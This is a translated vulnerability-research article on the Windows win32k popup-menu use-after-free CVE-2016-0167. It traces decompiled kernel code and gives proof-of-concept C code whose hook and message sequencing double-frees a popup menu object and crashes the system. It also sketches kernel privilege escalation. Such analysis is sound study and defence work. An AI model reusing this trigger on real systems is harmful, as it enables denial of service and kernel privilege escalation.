Analysis and exploitation of UAF vulnerability CVE-2016-0167

This article will conduct a simple analysis of the Windows use-after-free (UAF) kernel vulnerability CVE-2016-0167 and construct its exploitation verification code. This vulnerability was reported to be used to attack the data of targets such as payment cards in 2016, and was fixed by Microsoft in the same patch as the previously analyzed CVE-2016-0165. Analysis and testing of this vulnerability were conducted in a virtual machine in a Windows 7 x86 SP1 base environment.

Article link: xiaodaozhi.com/exploit/135…

This vulnerability is tagPOPUPMENUa reuse after release vulnerability of pop-up menu objects. Although it is an "old vulnerability" two years ago, due to the special trigger conditions, synchronous and asynchronous message requests need to cooperate to finally achieve the target pop-up menu object that meets the vulnerability exploitation conditions. , so currently this vulnerability still has certain research value for learning and researching win32k kernel vulnerability exploitation.

0x0 Preface

This article analyzes the CVE-2016-0167 use-after-free (UAF) vulnerability that occurs in the menu management component of the window manager (User) subsystem. During the kernel function xxxMNDestroyHandlercall to xxxSendMessagesend a message to the notification window object associated with the target pop-up menu object WM_UNINITMENUPOPUP, the execution flow has the possibility of a user callback; after the function call that sends the message returns, the function xxxMNDestroyHandlerdoes not re-verify the validity of the target pop-up menu object memory. Continue to access it.

If the user process triggers the menu cancellation operation at a special time, causing the member flag bit of the pop-up menu object that is the target of utilization to be unset, fDelayedFreeand calls a function at a specific time to destroy the menu window object associated with the pop-up menu object, the execution flow is in the kernel The message xxxMNDestroyHandleris sent when executing the function WM_UNINITMENUPOPUPand is called back to the user process. The user process performs the destruction operation on the same menu window object again. In the kernel, the execution flow repeatedly enters the function for the same target pop-up menu object and is destroyed during the second call xxxMNDestroyHandler. The target pop-up menu object; when the execution flow returns to the function called for the first time, the target pop-up menu object has been destroyed, but the function will directly access the member fields of the target pop-up menu object without the necessary verification. Performing repeated release operations will lead to UAF vulnerabilities.

After triggering the destruction of the target menu window object, the exploit code in the user process uses clever memory layout to make the system reallocate a memory area of ​​the same size to occupy the memory block of the previously released pop-up menu object, forge a new pop-up menu object and construct Related member fields. With the help of code logic, the member flag bits of a specific window object are bServerSideWindowProcmodified, so that the system can directly execute the custom window message processing function located in the user process address space in the kernel, and execute the exploit code constructed by the user process through the kernel context. To achieve the purpose of kernel privilege escalation.

0x1 principle

win32k.sysThe vulnerability occurs in the function of the kernel module xxxMNDestroyHandler, which is used to perform the task of destroying its associated pop-up menu tagPOPUPMENUobject during the destruction of the specified menu window object. The pointer of the target pop-up menu object popupMenuis passed in through the parameter.

The popup menu tagPOPUPMENUstructure is defined as follows:

kd> dt win32k!tagPOPUPMENU +0x000 flags: Int4B +0x004 spwndNotify: Ptr32 tagWND +0x008 spwndPopupMenu : Ptr32 tagWND +0x00c spwndNextPopup : Ptr32 tagWND +0x010 spwndPrevPopup : Ptr32 tagWND +0x014 spmenu : Ptr32 tagMENU +0x018 spmenuAlternate: Ptr32 tagMENU +0x01c spwndActivePopup : Ptr32 tagWND +0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU +0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU +0x028 posSelectedItem: Uint4B +0x02c posDropped : Uint4B 

Definition of pop-up menu tagMENUSTATE structure

In the function, there is a calling statement that spwndNotifysends a message to the notification window object pointed to by the member field of the target pop-up menu object:WM_UNINITMENUPOPUP

if ( *(_DWORD *)popupMenu & 0x200000 )// fSendUninit
{spwndNotify = popupMenu->spwndNotify;if ( spwndNotify ){ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;pwndTarg = spwndNotify;++spwndNotify->head.cLockObj;pmenu = popupMenu->spmenu;if ( pmenu )hmenu = p->head.h;xxxSendMessage(popupMenu->spwndNotify,0x125,// WM_UNINITMENUPOPUP(WPARAM)hmenu,(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);ThreadUnlock1();}
} 

Function xxxMNDestroyHandler has a call to send messages

Among them, the member flag bit used as the basis for judgment fSendUninitis set by default as early as during the initialization of the target pop-up menu object; and the member field of the notification window object spwndNotifywill also be assigned the address of the window object as the menu owner during the initialization period. This will result in xxxMNDestroyHandlerthe possibility of callbacks to the user process context in the function's execution flow.

fDelayedFreeNext, the function determines whether to immediately call and perform MNFreePopupa specific release operation for the target pop-up menu object by judging the member flag bit of the target pop-up menu object. Function MNFreePopupcalls HMAssignmentUnlockand other functions release spwndPopupMenuthe assignment locks of each object member field. After performing the corresponding preprocessing, the function call ExFreePoolWithTagreleases the incoming popup menu tagPOPUPMENUobject buffer.

Since the execution flow may call back to the user process during the previous function xxxMNDestroyHandlersending WM_UNINITMENUPOPUPthe message, the attacker can trigger logic in the user process to cause the memory tagPOPUPMENUof the target pop-up menu object to be released or reallocated, which will cause the target parameter popupMenuto point to the memory area. Uncontrollable data. If the attack code deliberately constructs the data in the memory block that is reallocated at the original location, then when an object member field that holds a special object address is unlocked, the execution flow of the kernel context may directly enter the user process address space. in the exploit code function.

0x2 Tracking

Function is a function used to perform the task of xxxMNDestroyHandlerdestroying its associated pop-up menu object during the destruction of the specified menu window object . It is only called when the message processing function specified by the menu window object processes the message.tagPOPUPMENUxxxMenuWindowProcWM_FINALDESTROY


xxxMNDestroyHandler

This function receives the tagPOPUPMENU *popupMenupop-up menu object passed in as the target object. At the beginning of the function, it is judged spwndNextPopupwhether the target pop-up menu member field points to the real submenu window object. If so, it means that the current menu has a pop-up submenu. Therefore, the function sends to the current menu window object pointed to by the member field spwndPopupMenu(or to the submenu window object if it is empty) MN_CLOSEHIERARCHYto close the submenu of the current menu. The message is finally xxxMenuWindowProcreceived in the function and called on the pop-up menu object associated with the target window object to xxxMNCloseHierarchyhandle the task of closing the submenu.

if ( popupMenu->spwndNextPopup )
{pwnd = popupMenu->spwndPopupMenu;if ( !pwnd )pwnd = popupMenu->spwndNextPopup;ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;++pwnd->head.cLockObj;xxxSendMessage(pwnd, 0x1E4, 0, 0); // xxxMNCloseHierarchyThreadUnlock1();
} 

Code snippet of function xxxMNDestroyHandler

Then the function determines whether the member flag of the target pop-up menu object fSendUninitis set. This flag determines whether the system should send a message to the window object that received the notification after the pop-up menu object is destroyed WM_UNINITMENUPOPUP. During the initialization of the root pop-up menu object or pop-up menu object, the system usually sets this flag in the function xxxTrackPopupMenuExor .xxxMNOpenHierarchy

If the member flag fSendUninitis set, the function sends a ( ) message to spwndNotifythe window object pointed to by the member field for receiving notifications , so that the owner window can clear the data related to the pop-up menu that will be destroyed at the first time.WM_UNINITMENUPOPUP0x125

if ( *(_DWORD *)popupMenu & 0x200000 )// fSendUninit
{spwndNotify = popupMenu->spwndNotify;if ( spwndNotify ){ptl = gptiCurrent->ptl;gptiCurrent->ptl = (_TL *)&ptl;pwndTarg = spwndNotify;++spwndNotify->head.cLockObj;pmenu = popupMenu->spmenu;if ( pmenu )hmenu = (tagMENU *)p->head.h;xxxSendMessage(popupMenu->spwndNotify,0x125,// WM_UNINITMENUPOPUP(WPARAM)hmenu,(LPARAM)(((*(_DWORD *)popupMenu >> 2) & 1) << 13) << 16);ThreadUnlock1();}
} 

Code snippet of function xxxMNDestroyHandler

When calling xxxSendMessageSend WM_UNINITMENUPOPUPmessage, the function also passes the handle of the menu entity object associated with the target pop-up menu tagMENUobject as wParama parameter to the function call.

At the end of the function , the function will empty the pointer pointing to the associated pop-up menu object in the extended area at the end of the xxxMNDestroyHandlertarget menu window object ; then it determines whether the member flag of the target pop-up menu object is set, and accordingly decides whether to complete the Whether to delay the release of the target pop-up menu object when the menu terminates, or to release the target pop-up menu object immediately at the current moment.tagWNDfDelayedFree

pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u;// fDestroyed
if ( pwnd )*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 )// fDelayedFree
{popupmenuRoot = popupMenu->ppopupmenuRoot;if ( popupmenuRoot )*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{MNFreePopup(popupMenu);
} 

Code snippet of function xxxMNDestroyHandler

When a context pop-up menu object is created in the kernel through regular means, the member flags of the root pop-up menu object or the pop-up menu object will be set fDelayedFreeby default in the function xxxTrackPopupMenuExor .xxxMNOpenHierarchy


MNFreePopup

The function MNFreePopupinitially determines whether the target pop-up menu object passed in through the parameter is the current root pop-up menu object. If so, the function is called to MNFlushDestroyedPopupstraverse and release the pop-up menu object pointed to by its member field ppmDelayedFreeto delay the release of each pop-up menu object in the linked list.

Then the function calls HMAssignmentUnlockor UnlockPopupMenufunction (internally it is still a function HMAssignmentUnlockcall) to release spwndPopupMenuthe assignment lock of each window object and menu object pointer member field of the target pop-up menu object.

if ( popupMenu == popupMenu->ppopupmenuRoot )MNFlushDestroyedPopups(popupMenu, 1);
pwnd = popupMenu->spwndPopupMenu;
if ( pwnd && (pwnd->fnid & 0x3FFF) == 0x29C && popupMenu != &gpopupMenu )*((_DWORD *)pwnd + 0x2C) = 0;
HMAssignmentUnlock(&popupMenu->spwndPopupMenu);
HMAssignmentUnlock(&popupMenu->spwndNextPopup);
HMAssignmentUnlock(&popupMenu->spwndPrevPopup);
UnlockPopupMenu(popupMenu, &popupMenu->spmenu);
UnlockPopupMenu(popupMenu, &popupMenu->spmenuAlternate);
HMAssignmentUnlock(&popupMenu->spwndNotify);
HMAssignmentUnlock(&popupMenu->spwndActivePopup);
if ( popupMenu == &gpopupMenu )gdwPUDFlags &= 0xFF7FFFFF;
elseExFreePoolWithTag(popupMenu, 0); 

Code snippet of function MNFreePopup

Function HMAssignmentUnlockis used to dereference a previously implemented assignment lock on the specified object and decrement the target object's lock count. When the lock count of the target object decreases to 0, the system will call the function HMUnlockObjectInternalto destroy the object.

The function finds the object's handle table entry in the session handle table pointed to by the global shared information structure object's member field through the handle of the target object, and then HMUnlockObjectInternalcalls gSharedInfothe index in the global handle type through the handle type stored in the handle table entry in the function. Object destruction function in information array . If the target object type currently being destroyed is a window object, this will be called into the kernel function .aheListHMDestroyUnlockedObjectgahtixxxDestroyWindow

At MNFreePopupthe end of the function, since the unlocking and release of each member field has been completed, the system calls the function ExFreePoolWithTagto release the target pop-up menu tagPOPUPMENUobject.


MNFlushDestroyedPopups

The function MNFlushDestroyedPopupstraverses each pop-up menu object in the linked list and fDestroyedcalls the function for each object marked with the flag bit MNFreePopup. The flag is fDestroyedinitially xxxMNDestroyHandlerset when the function is called.

for ( i = &popupMenu->ppmDelayedFree; *i; i = &ppmDestroyed->ppmDelayedFree )
{ppmFree = *i;if ( *(_DWORD *)*i & 0x8000 ){ppmFree = *i;*i = ppmFree->ppmDelayedFree;MNFreePopup(ppmFree);}else if ( fUnlock ){*(_DWORD *)ppmFree &= 0xFFFEFFFF;*i = (*i)->ppmDelayedFree;}else{ppmDestroyed = *i;}
} 

Code snippet of function MNFlushDestroyedPopups

fDestroyedIf there is a pop-up menu object in the chain with the flag bit not set , the function fUnlockdetermines to set the flag fDelayedFreebit of the target pop-up menu object to zero based on the value passed in as the parameter, and skips the node to continue traversing the linked list.

MNFreePopupWhen called in the function MNFlushDestroyedPopups, the value is passed into the function call 1as a parameter , which determines that the flag bit of the pop-up menu object whose flag bit is not set in the delayed release linked list will be set to zero.fUnlockfDestroyedfDelayedFree


xxxMNDestroyHandlerThe brief execution flow during function execution is shown in the figure:


MN_CANCELMENUS

When sending a message to the target menu window object , the system finally calls the function MN_CANCELMENUSin the message processing function specified by the menu window object to handle the message request to cancel the menu.xxxMenuWindowProcxxxMNCancel

case 0x1E6u:xxxMNCancel(menuState, wParam, lprc, 0);return 0; 

Function xxxMenuWindowProc handles MN_CANCELMENUS message

Functions xxxMNCancelcan only be called with the root menu window object as the target. At the beginning of the function, the member flags fInsideMenuLoopand of the menu state structure fButtonDownare set to zero, and the member flag of the root pop-up menu object fDestroyedis set.

mov edi, [ebp+pMenuState]
mov esi, [edi]
mov eax, [esi]
and dword ptr [edi+4], 0FFFFFFF3h
ordword ptr [esi], 8000h 

Function xxxMNCancel sets and zeroes related flags

The function then calls xxxMNCloseHierarchythe function to turn off the menu cascading state of the current menu object, and calls the function xxxMNSelectItemto deselect the menu item.

xxxMNCloseHierarchy(popupMenu, pMenuState);
xxxMNSelectItem(popupMenu, pMenuState, 0xFFFFFFFF); 

Code snippet of function xxxMNCancel

When the execution flow returns to the function , the system chooses to call xxxMNCancelaccording to the member flag bit of the current pop-up menu object to try to destroy the current menu window object. This member flag is only set to the associated pop-up menu object when the root menu window object is first created through the function .fIsTrackPopupxxxDestroyWindowxxxTrackPopupMenuEx

if ( fTrackFlagsSet ) // popupMenu->fIsTrackPopup
{if ( !(*((_DWORD *)pMenuState + 1) & 0x100)&& gpqForeground&& *((_DWORD *)gpqForeground + 9)&& gpqForeground == gptiCurrent->pq ){xxxWindowEvent(0x80000005, *((_DWORD *)gpqForeground + 9), 0, 1, 0x21);}xxxWindowEvent(7u, popupMenu->spwndPopupMenu, 0xFFFFFFFC, 0, 0);xxxDestroyWindow(popupMenu->spwndPopupMenu);
} 

Function xxxMNCancel triggers the task of destroying the root menu window object

During the call to the function on the menu window object xxxDestroyWindow, and finally when processing WM_FINALDESTROYthe message, the function xxxMenuWindowProccalls xxxMNDestroyHandlerthe function to handle the task of destroying the pop-up object menu.

0x3 Verification

Next write verification code to reproduce the use-after-free (UAF) vulnerability. Let’s first talk about the idea of ​​​​verifying the code:


#1 Make the execution flow re-enter the function where the vulnerability is located

The direct step to trigger this vulnerability is WM_UNINITMENUPOPUPto make the execution flow repeatedly call the function for the same target popup menu object during message sending xxxMNDestroyHandler. In this way, the target pop-up menu object will xxxMNDestroyHandlerbe released when the function is called for the second time; when the execution flow returns to the xxxMNDestroyHandlercontext of the first call of the function, the target pop-up menu object has been released, and the function does not re-validate the pop-up menu object. Continue to access its member fields despite the memory validity, which will cause UAF to be triggered.

To make the execution flow re-enter the function, this can be achieved by calling the function on the target menu window object in the message processing logic xxxMNDestroyHandlerof the hook handler customized in the verification code .WM_UNINITMENUPOPUPDestroyWindow


#2 Pop-up menu objects that meet trigger conditions

According to the previous analysis, it can be seen that triggering the vulnerability requires the execution flow to call the function again for the same pop-up xxxMNDestroyHandlermenu object during the function sending a message to the notification window object associated with the target pop-up menu object and releasing the target pop-up menu object during the second execution of the function.WM_UNINITMENUPOPUPxxxMNDestroyHandler

This places requirements on the target popup menu object:

First, there is a conditional judgment before the function xxxMNDestroyHandlersends WM_UNINITMENUPOPUPthe message. The target pop-up menu object must have its member flag set fSendUninitand there must be an associated notification window object. This requires that the menu window object associated with the target pop-up menu object must be created through the regular menu pop-up channel, and cannot be a type of window object CreateWindowExmanually created by calling functions such as verification code.MENUCLASS

Second, the member flag bit of the target pop-up menu object fDelayedFreemust not be set, otherwise the target pop-up menu object will not xxxMNDestroyHandlerbe released immediately during the second call of the function.


#3 Member flag fDelayedFree is de-set

According to the kernel module code logic, the pop-up menu object of the context menu created through the regular menu pop-up channel will inevitably set the member flag fDelayedFreebit during initialization. Setting the flag bit is a statement that is executed unconditionally in functions xxxTrackPopupMenuExand .xxxMNOpenHierarchy

By analyzing the win32k module, it can be found that there are at least two statements that fDelayedFreeset zero: one is to set zero in the function xxxMNEndMenuStateaccording to the parameter fFreePopupcondition: ; The other point is that in the function, the flag position of the pop-up menu object whose member flag bit is not set in the linked list is set to zero according to the parameter condition .FALSEfDelayedFreeMNFlushDestroyedPopupsfUnlockTRUEfDestroyedfDelayedFree

For the first case, looking at the overall situation, it is found that xxxMNEndMenuStatethe call to the function only xxxDestroyThreadInfohas the possibility that the value of the parameter passed in the function fFreePopupis not FALSE, which is difficult to operate, so it is not considered.

In the second case, a call to function existing MNFreePopupin function passes MNFlushDestroyedPopupsparameter fUnlockas TRUE. Therefore, you can try to take advantage of this situation. The member flag bit of the target pop-up menu object used to exploit before the call fDestroyedremains unset, and fDestroyedthe target pop-up menu object with the unset flag still needs to exist in the ppmDelayedFreedelayed release through the index. in the linked list.


#4 member flag fDestroyed is de-set

Then it is necessary to delay the release of pop-up menu objects whose member flags are not set in the linked list when the function MNFreePopupis called at the appropriate time .MNFlushDestroyedPopupsfDestroyed

The implementation idea is: while a submenu xxxMNOpenHierarchyis popping up by calling a function, when its own related objects have not yet been associated with the parent menu, the user process initiates a menu termination or cancellation operation, causing the menu to enter the pre-termination state and causing the current The member flag bits of all pop-up menu objects that exist in the delayed release linked list fDestroyedare set during the pop-up menu destruction process, and the pop-up menu that has not yet completed initialization has not yet completed its association with the parent menu, so its pop-up menu object The member flag fDestroyedwill not be set.

When the newly popped-up submenu completes initialization, the entire menu then enters xxxMNEndMenuStatethe menu termination process in the function. During the execution of this function, the pop-up menu object that is the target of exploitation will not fDestroyedbe destroyed because its member flag bit is not set, and the member flag bit will fDelayedFreebe set to zero, so that the status of each member field can satisfy the vulnerability trigger. condition.

This needs to be implemented through the cooperation of pop-up termination of the modal context menu and synchronous and asynchronous message requests.


Verify code implementation

Next, the specific verification code is implemented based on the idea. Most of the code logic of the verification code in the user process is executed in a newly created separate thread.

In the main function of the verification code, CreateMenucreate two pop-up menu objects through the wait function, and associate the two menu objects with each other when adding menu items, making the second one a submenu of the first one. When the properties of the menu object are not changed through functions SetMenuInfo, the menu object defaults to the modal type.

hMenuList[0] = CreateMenu();
hMenuList[1] = CreateMenu();
AppendMenuA(hMenuList[0], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)hMenuList[1], "item");
AppendMenuA(hMenuList[1], MF_MOUSESELECT | MF_POPUP, (UINT_PTR)0, "item"); 

Validation code that creates and associates root menu and submenu objects

The display of the menu requires a hosting window as the owner window object of the menu. Register and create normal window classes and window objects and store handles in hWindowMainglobal variables:

WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc= xxMainWindowProc; // custom message procedure
wndClass.cbWndExtra = 0;
wndClass.hInstance= GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName= L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,L"WNDCLASSMAIN",NULL,WS_VISIBLE,0,0,1,1,NULL,NULL,GetModuleHandleA(NULL),NULL); 

Validation code to create owner window object

Assign xxMainWindowProcthe address of the message processing function customized by the verification code to the message processing function member field of the created owner window object. The owner window object will also serve as the notification window object associated with the pop-up menu.

Set WH_CALLWNDPROCa custom hook handler of type and set EVENT_SYSTEM_MENUPOPUPSTARTa custom event notification handler with scope including .

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,GetModuleHandleA(NULL),GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,GetModuleHandleA(NULL),xxWindowEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0); 

Set up validation code for custom hook handlers and event notification handlers

TrackPopupMenuExNext , trigger the display of the first menu object as the root menu on the screen by calling the function; then use GetMessageto make the current thread enter the message loop state.

TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{TranslateMessage(&msg);DispatchMessageW(&msg);
} 

Validation code that triggers the display of the root menu object on the screen

When the user process calls the function TrackPopupMenuEx, the system finally calls xxxTrackPopupMenuExthe function in the kernel to handle the pop-up menu operation. When the display task execution is completed, the function is called to xxxWindowEventdispatch EVENT_SYSTEM_MENUPOPUPSTARTan event notification of type, which indicates that the target menu object has been displayed on the screen.

After the event notification is distributed, the execution flow will enter the event notification handler customized by the verification code xxWindowEventProc. Count in the handler and store the window handle on each entry hwndparameter. Then, the operation of selecting a menu item through the keyboard SendMessageand mouse is simulated by calling the function and sending a message to the menu window object pointed to by the handle parameter.PostMessagehwnd

VOID CALLBACK
xxWindowEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWNDhwnd,LONGidObject,LONGidChild,DWORD idEventThread,DWORD dwmsEventTime
) {static UINT iCount = 0;if (iCount < ARRAYSIZE(hwndMenuList)){hwndMenuList[iCount] = hwnd;iCount++;}SendMessageW(hwnd, MN_SELECTITEM, 0, 0);SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);
} 

Verify code custom event notification handler function

Sending asynchronously to the modal menu window object MN_OPENHIERARCHYwill cause the message to be inserted into the thread's message queue, and the message request to open the menu will be processed in the function message loop that xxTrackPopupMenuExis called later .xxxMNLoop

 # ChildEBP RetAddr
00 99723a78 947dee9d win32k!xxxMNOpenHierarchy
01 99723ac4 9474ae67 win32k!xxxMenuWindowProc+0xb1f
02 99723af4 947d8c36 win32k!xxxDispatchMessage+0x1f7
03 99723b38 947df8f1 win32k!xxxMNLoop+0x2dd
04 99723ba0 947df9dc win32k!xxxTrackPopupMenuEx+0x5cd
05 99723c14 83e591ea win32k!NtUserTrackPopupMenuEx+0xc3 

Function xxxMNLoop handles the message request to open the menu

When the message is processed in the kernel MN_OPENHIERARCHY, the system creates a new menu window object based on the submenu object. During this period, the system will send other messages to the newly created submenu window object WM_NCCREATE. When these messages are sent, the execution flow enters a hook handler customized by the validation code in the user process xxWindowHookProc.

In the custom hook handler function xxWindowHookProc, the parameter lParampoints to tagCWPSTRUCTan object of type. According to the kernel function code logic, for each menu window object, the WM_NCCREATEhook processing function of is often EVENT_SYSTEM_MENUPOPUPSTARTcalled before the event notification processing function of . The verification code determines the value of tagCWPSTRUCTthe object's member field message. When messagethe value is WM_NCCREATEan enumeration value, and the previous event notification handler has only recorded the handle of the root menu window object and has not yet recorded the handle of the submenu window object, this means that the current processing The target window object of the message is the newly created submenu window object. At this time, the window handle is recorded, and the menu cancellation message SendMessageis sent to the root menu window object by calling the function . MN_CANCELMENUSAfter the function SendMessagereturns, the hook handler function is called again to send a customized trigger message PostMessageto the owner window object .hWindowMainWM_EX_TRIGGER

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) {static BOOL bEnterUninit = FALSE;tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;if (cwp->message == WM_UNINITMENUPOPUP &&bEnterUninit == FALSE &&hMenuList[1] == (HMENU)cwp->wParam){bEnterUninit = TRUE;DestroyWindow(hwndMenuDest);}else if (cwp->message == WM_NCCREATE &&hwndMenuDest == NULL &&hwndMenuList[0] && !hwndMenuList[1]){hwndMenuDest = cwp->hwnd;SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);}return CallNextHookEx(0, code, wParam, lParam);
} 

Verify code custom hook handler function

At the same time, the hook processing function also handles the case where messagethe value is WM_UNINITMENUPOPUPand the parameter wParamvalue is the submenu entity object handle value. tagMENUWhen the condition is hit, it means that the current execution flow in the kernel is sending messages xxxMNDestroyHandlerto the notification window object for the submenu in the function. WM_UNINITMENUPOPUPUndoubtedly, the verification code calls DestroyWindowthe function at this time to destroy the window object whose handle was previously recorded.

When the calling function SendMessagesynchronously sends MN_CANCELMENUSa message to the root menu window object, the system finally xxxMenuWindowProccalls xxxMNCancelthe function in the kernel mode message processing function to handle the message request to cancel the menu. During the execution of this function, the member flag of the root pop-up menu object fDestroyedwill be set.

 # ChildEBP RetAddr
00 94d83b00 94a5ef10 win32k!xxxMNCancel
01 94d83b54 949d94f3 win32k!xxxMenuWindowProc+0xb92
02 94d83b94 94999709 win32k!xxxSendMessageTimeout+0x1ac
03 94d83bbc 949a6330 win32k!xxxWrapSendMessage+0x1c
04 94d83bd8 949db4cd win32k!NtUserfnNCDESTROY+0x27
05 94d83c10 83e521ea win32k!NtUserMessageCall+0xc9
06 94d83c10 76f270b4 nt!KiFastCallEntry+0x12a
07 3473fc8c 762b4f51 ntdll!KiFastSystemCallRet
08 3473fc90 762b0940 USER32!NtUserMessageCall+0xc
09 3473fccc 762b5582 USER32!SendMessageWorker+0x546
0a 3473fcec 0027c43a USER32!SendMessageW+0x7c
0b 3473fd54 762a7a1a TempDemo!xxWindowHookProc+0x19a
0c 3473fd70 762a4999 USER32!DispatchHookW+0x33
0d 3473fda4 762ae98a USER32!fnHkINLPCWPSTRUCTW+0x52
0e 3473fdd4 76f26fee USER32!__fnINLPCREATESTRUCT+0x8b
0f 3473fe48 762d483e ntdll!KiUserCallbackDispatcher+0x2e
10 3473fe4c 0027c0fe USER32!NtUserTrackPopupMenuEx+0xc
11 3473fed4 76d13c45 TempDemo!xxTrackExploitEx+0x14e 

Send the MN_CANCELMENUS message and finally call the xxxMNCancel function

Because when the function that sends MN_CANCELMENUSthe message is called in the verification code SendMessageW, the execution flow in the kernel is during the processing of the dispatch hook handler for the submenu window object WM_NCCREATEmessage. The distribution call occurs before WM_NCCREATEthe message is processed, so the popup associated with the submenu window object The menu tagPOPUPMENUobject has not yet been created, and the newly created submenu window object has not yet been associated with the popup menu object of the root menu, which means that the member field of the root popup menu object does not store the spwndNextPopupaddress of the submenu window object. Therefore, when the function xxxMNCancelcalls the function in the subsequent execution logic xxxMNCloseHierarchy, no objects related to the submenu will be destroyed, and the member flag of the pop-up menu object fDestroyedwill not be set.

During execution, the function xxxMNCancelwill call xxxDestroyWindowto try to destroy the root menu window object, and finally xxxMenuWindowProccall xxxMNDestroyHandlerthe function in the function to handle the task of destroying the pop-up menu object. Since the member flag of the root pop-up menu object fDelayedFreehas already been set, the function does not immediately call MNFreePopupthe function to release the target pop-up menu object, but leaves it to subsequent xxxMNEndMenuStatefunction calls for execution.

When the function call that sends MN_CANCELMENUSthe message SendMessagereturns, the custom hook handles the function call to PostMessagesend the custom WM_EX_TRIGGERtrigger message to the owner window object. Messages sent asynchronously will not be processed immediately, but will be executed in the message loop of the thread associated with the window object.

Next, in the kernel, when the execution flow xxxCreateWIndowExreturns from the function that created the submenu window object to xxxMNOpenHierarchythe function, the function will perform the associated operations of the submenu and root menu related objects as usual. When the execution completion function returns, the execution flow will return xxxMNLoopto the message loop function. The function will determine whether the member flag of the root pop-up menu object fDestroyedhas been set. If set, the message loop state is jumped out and xxxEndMenuLoopthe function that terminates the loop is called before returning to the upper caller function xxxTrackPopupMenuEx.

Function xxxTrackPopupMenuExwill be called immediately xxxMNEndMenuStateto perform the task of menu state termination. During the execution of this function, the function MNFreePopupwill call MNFlushDestroyedPopupsthe function to release each pop-up menu object in the delayed release list, with fDestroyedthe exception of objects whose member flags are not set. Since xxxMNCancelthe submenu-related object has not yet been associated with the root menu during the function's execution of the menu cancellation task, its pop-up menu object member flag fDestroyedhas not been set. This will result in that any objects related to the submenu will not be released at this time, and the member flags of its pop-up menu objects fDelayedFreewill be MNFlushDestroyedPopupsset to zero by the function. This is a very critical step.

When the function call in the user process context TrackPopupMenuExreturns to the verification code, the target popup menu object that meets the vulnerability triggering conditions has been implemented. Next the execution flow will enter the message loop set by the verification code. The custom trigger message previously xxWindowHookProcsent to the owner window object in the custom hook handler function is dispatched . Receive and process the message in WM_EX_TRIGGERthe custom message handling function of the owner window object :xxMainWindowProc

LRESULT WINAPI
xxMainWindowProc(_In_ HWND hwnd,_In_ UINT msg,_In_ WPARAM wParam,_In_ LPARAM lParam
) {if (msg == WM_EX_TRIGGER){DestroyWindow(hwndMenuDest);}return DefWindowProcW(hwnd, msg, wParam, lParam);
} 

Custom message handling function for the owner window object

In the custom message processing function xxMainWindowProc, determine whether the currently processed message is WM_EX_TRIGGERa custom trigger message; if so, call the function directly DestroyWindowto trigger the destruction of the submenu window object of the previous record handle. This will cause execution flow in the kernel to xxxMNDestroyHandlera function call that destroys the target popup menu object.

In the function xxxMNDestroyHandler, the system sends the notification window object associated with the target pop-up menu object WM_UNINITMENUPOPUPand passes in the associated menu window object wParamhandle as a parameter. xxWindowHookProcThis will hit the judgment condition set earlier in the custom hook handler WM_UNINITMENUPOPUP.

Since the verification code in the code logic of function xxWindowHookProcprocessing WM_UNINITMENUPOPUPmessage directly calls the function DestroyWindowto destroy the submenu window object with the handle mentioned earlier, this will cause the execution flow to repeatedly enter the function call for the same popup menu object xxxMNDestroyHandler. During the second xxxMNDestroyHandlerexecution of the function, although the message will still be sent as in the first execution , the function will not be called more times in WM_UNINITMENUPOPUPthe function because the relevant global variables have been set in the verification code to prevent multiple processing .xxWindowHookProcDestroyWindow

Then the function called for the second time calls a function on the target pop-up menu xxxMNDestroyHandlerobject according to the unset member flag to perform the destruction operation. In this function, various kernel objects associated with the target pop-up menu object will be destroyed, and the memory of the pop-up menu object will be released.fDelayedFreeMNFreePopup

When execution flows back to the first called xxxMNDestroyHandlerfunction, the function performs the same release operation. This will cause repeated freeing of freed memory blocks, leading to the occurrence of system BSOD.

 # ChildEBP RetAddr
00 96589654 83f25083 nt!RtlpBreakWithStatusInstruction
01 965896a4 83f25b81 nt!KiBugCheckDebugBreak+0x1c
02 96589a68 83f67c6b nt!KeBugCheck2+0x68b
03 96589ae4 94e15e08 nt!ExFreePoolWithTag+0x1b1
04 96589af8 94e15f85 win32k!MNFreePopup+0x95
05 96589b14 94e0e894 win32k!xxxMNDestroyHandler+0x117
06 96589b5c 94e15fc9 win32k!xxxMenuWindowProc+0x515
07 96589b74 94d5d9cd win32k!xxxWrapMenuWindowProc+0x2b
08 96589bc8 94d56142 win32k!xxxFreeWindow+0x184
09 96589c18 94d5e62c win32k!xxxDestroyWindow+0x523
0a 96589c28 83e841ea win32k!NtUserDestroyWindow+0x21
0b 96589c28 773970b4 nt!KiFastCallEntry+0x12a
0c 0088fb9c 75abb300 ntdll!KiFastSystemCallRet
0d 0088fba0 0109bf0f USER32!NtUserDestroyWindow+0xc
